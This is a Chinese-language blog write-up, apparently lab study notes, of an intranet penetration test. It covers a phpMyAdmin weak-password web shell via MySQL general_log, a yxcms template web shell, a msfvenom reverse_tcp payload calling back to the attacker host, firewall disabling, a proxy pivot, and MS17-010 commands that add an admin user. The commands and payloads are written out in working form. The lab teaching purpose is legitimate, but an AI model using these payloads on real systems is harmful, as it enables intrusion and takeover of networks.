这是一次有趣的内网渗透,作此文章仅是自己的学习笔记,还请各路神仙多多指点~
kali攻击机ip:192.168.204.128
web服务器外网ip:192.168.204.138
web服务器内网ip:192.168.52.143
域控主机ip:192.168.52.138
域成员ip:192.168.52.141
本次攻击的拓扑图
此次实验就是拿下web服务器,域成员和域控服务器
开搞开搞!!!!!!
一.利用web服务器存在的漏洞攻入内网
使用nmap扫描web服务器
可以看到开放的端口。先访问80端口
不错,挺多信息,但是没有找到漏洞点
上扫描器,扫描看看有没有其他后台目录
nice!扫出来phpAdmin,访问看看
尝试了一下,存在弱口令漏洞,root/root能登陆成功
** **
**在这里我用两种不同的方式来getshell **
1.PhpMyAdmin开启全局日志getshell
尝试into outfile写入木马进行getshell:
想在网站内部写入木马,需要知道网站的绝对路径,可以通过报错获取路径,用select @@basedir;查询
得到网站的绝对路径,接下来尝试写个一句话木马到网站根目录下面
select '<?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/hack1.php';
很遗憾没成功,报错了。网上查了一下原因:
into写入文件:
使用需看要secure_file_priv的值。
当value为“null”时,不允许读取任意文件
当value为“空”时,允许读取任意文件
value可也已设置为其他路径。
可以看到secure_file_priv为NULL,因此不允许读取任何文件
既然这个办法行不通,那就换个办法:
尝试日志写入shell:
先查看日志状态:show variables like "%general%";
general_log和general_log_file简述:
mysql打开general_log开关之后,所有对数据库的操作都将记录在general_log_file指定的文件目录中,以原始的状态来显示,如果将general_log开关打开,general_log_file指定一个php文件,则查询的操作将会全部写入到general_log_file指定的文件,可以通过访问general_log_file指定的文件来获取webshell。
开启日志记录:set global general_log = “ON”;再查询日志状态。
开启成功。接下来执行命令:set global general_log_file=‘C:/phpStudy/www/shell1.php’; 指定日志写入到网站根目录的 shell1.php 文件.
设置成功
把一句话木马写进去:select '<?php eval($_POST[cmd]);?>';
写入成功,访问一下
用蚁剑连接拿到shell
2.通过yxcms存在的漏洞来getshell
从此处信息可以猜到网站的CMS为yxcms,访问一下/yxcms
登陆
我们可以利用yxcms后台任意文件读写漏洞getshell
点击“前台模板”后** ,**再点击“管理模板文件”,“新建”
写入一句话木马
写入成功
可是这个文件保存到哪里了呢?
使用7kbscan-WebPathBrute目录扫描工具开展漏洞扫描
发现网站备份文件 ,通过备份文件可知文件保存的目录
http://192.168.204.138/yxcms/protected/apps/default/view/default/hack.php
那就好办了,用蚁剑连接拿到shell
同时该网站还存在其他漏洞如sql,xss,与我本次实验没有太大关系我就不写了~~(偷懒)
至此咱们已经拿下web服务器,攻入内网,接下来就要进入内网渗透了
二.后渗透
我们首先要把我们获得的shell发送到msf或者cs上,我比较喜欢用msf,因此我把shell发送到msf上。
我们可以通过msf生成一个木马程序,植入web服务器
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.204.128 LPORT=6666 -f exe >/home/kali/Desktop/hack.exe
然后通过蚁剑把生成的hack.exe上传到web服务器
进入msf
使用监听模块
完成设置run一下,
在蚁剑里面执行hack.exe
三.系统信息收集
chcp 65001解决乱码
查看网卡信息:ipconfig
发现内网ip:192.168.52.143
查看域信息
net group /domain #查看域内所有用户列表
net group “domain computers” /domain #查看域成员计算机列表
net group “domain admins” /domain #查看域管理员用户
提权到system
关闭防火墙
netsh firewall set opmode disable #winsows server 2003 之前
netsh advfirewall set allprofiles state off #winsows server 2003 之后
netsh firewall show state#查看防火墙状态
**四.横向移动 **
搭建隧道
横向渗透前,先将该web服务器配置为代理服务器当作跳板机
msf+proxychains
可用msf直接搭建sock隧道:
进入session,自动创建路由(搭建通往内网的路由,进入内网遨游):
run post/multi/manage/autoroute
退到上层,使用socks4a进行代理,端口与proxychains里设置一致即可:
配置proxychains:
测试一下是否配置成功
配置成功!
五.内网信息收集
先看内网中有那几台机器存活
可以看到有192.168.52.138和192.168.52.141两台机器,接下来对这两台机器扫描
两台机器都开启了445端口,看看是否有永恒之蓝漏洞
可见两台机器都有永恒之蓝漏洞的威胁
尝试MSF进行ms17-010攻击 ,未能成功,另寻他路。
使用ms17-010-command模块执行命令
成功执行,既然能执行命令,那如果我们用命令开启3389远程端口,然后添加用户,把新添的用户加入到管理组在远程登陆,不就能拿下了嘛~
试试
这里有两个坑:
- 第一个是msf的payload会把反斜杠和双引号给转义掉,所以我们payload要这样写
- 第二个坑是添加用户的密码必须满足要求:字母符号加数字,不然无法添加
开启3389set command REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f添加用户net user admin1 qwe!@123 /add添加到管理员net localgroup administrators admin1 /add
远程登陆看看
成功!!!
因为我们已经拿下了web服务器,如果我们把一个木马程序上传到web服务器,再让域控服务器去下载,我们在kali监听,不就拿下这台域控服务器了吗?说干就干!(这里要注意:因为域控主机和域控服务器都在内网,它们是不能访问外网的,我们不能用反弹的方法,要用直连!!)
通过蚁剑把生成的木马上传到web服务器,再通过远程连接域控服务器下载
控制域控服务器下载运行
然后在kali监听拿到shell
同理,用同样的方法拿下域控主机192.168.52.141
至此拿下三台机器,任意在内网遨游~~~~~~~
完成!
版权归原作者 Spritε 所有, 如有侵权,请联系我们删除。